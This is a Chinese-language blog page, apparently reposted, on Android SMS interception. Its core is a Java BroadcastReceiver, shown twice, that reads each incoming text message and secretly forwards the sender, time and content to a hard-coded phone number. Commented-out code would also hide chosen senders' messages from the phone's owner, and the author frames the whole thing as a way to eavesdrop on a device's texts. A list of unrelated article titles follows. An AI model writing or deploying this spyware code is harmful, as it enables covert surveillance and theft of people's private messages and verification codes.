Android短信拦截
来源:互联网 发布:现货知乎 编辑:程序博客网 时间:2024/06/02 22:01
要实现这个功能其实很简单,手机接收到短信后会发出一段广播,我们只需在程序中写个广播接收器,然后写好特定的权限,当然这个功能还是比较好玩的,可以实现对机器的短信窃听。
public class SMSBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[])intent.getExtras().get("pdus");//获取短信内容
for(Object pdu : pdus){
byte[] data = (byte[]) pdu;//获取单条短信内容,短信内容以pdu格式存在
SmsMessage message = SmsMessage.createFromPdu(data);//使用pdu格式的短信数据生成短信对象
String sender = message.getOriginatingAddress();//获取短信的发送者
String content = message.getMessageBody();//获取短信的内容
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String sendtime = format.format(date);
SmsManager manager = SmsManager.getDefault();
manager.sendTextMessage("5556", null,"发送人:"+sender+"-----发送时间:"+sendtime+"----内容:"+content , null, null);//把拦截到的短信发送到你指定的手机,此处为5556
// if("number".equals(sender)){
// abortBroadcast();
// } //如果不想让机主接收到某个号码的短信,
//可以取消这段注释, number 为指定的号码
//也可在此处给这个号码回复的内容。。。。。
}
}
public class SMSBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[])intent.getExtras().get("pdus");//获取短信内容
for(Object pdu : pdus){
byte[] data = (byte[]) pdu;//获取单条短信内容,短信内容以pdu格式存在
SmsMessage message = SmsMessage.createFromPdu(data);//使用pdu格式的短信数据生成短信对象
String sender = message.getOriginatingAddress();//获取短信的发送者
String content = message.getMessageBody();//获取短信的内容
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String sendtime = format.format(date);
SmsManager manager = SmsManager.getDefault();
manager.sendTextMessage("5556", null,"发送人:"+sender+"-----发送时间:"+sendtime+"----内容:"+content , null, null);//把拦截到的短信发送到你指定的手机,此处为5556
// if("number".equals(sender)){
// abortBroadcast();
// } //如果不想让机主接收到某个号码的短信,
//可以取消这段注释, number 为指定的号码
//也可在此处给这个号码回复的内容。。。。。
}
}
}
- Android短信窃听器短信拦截
- Android拦截短信,接收短信
- Android 拦截短信配置
- android短信拦截
- Android 拦截短信配置
- android短信拦截
- Android-拦截接收短信
- 关于Android短信拦截
- android 短信拦截思路
- Android短信拦截
- android短信拦截
- android短信拦截优先级
- Android短信拦截
- android拦截短信
- android短信拦截
- Android短信拦截
- android拦截短信
- Android短信拦截
- Step Three: Escape!
- QString C程序员的注意事项
- Android ViewFlipper的使用 实现页面滑动
- 帮您快速入门 TI 的 Codec Engine
- linux菜鸟在ubuntu下编译了arm的c程序
- Android短信拦截
- PostgreSQL数据库、表空间、角色及用户
- 利用ffmpeg添加水印
- DB2 SQLCODE: -443, SQLSTATE: 38553
- SEO
- 领域特定语言
- Eclipse使用技巧__格式化模板和代码模板
- Redis在windows下的安装使用
- workflow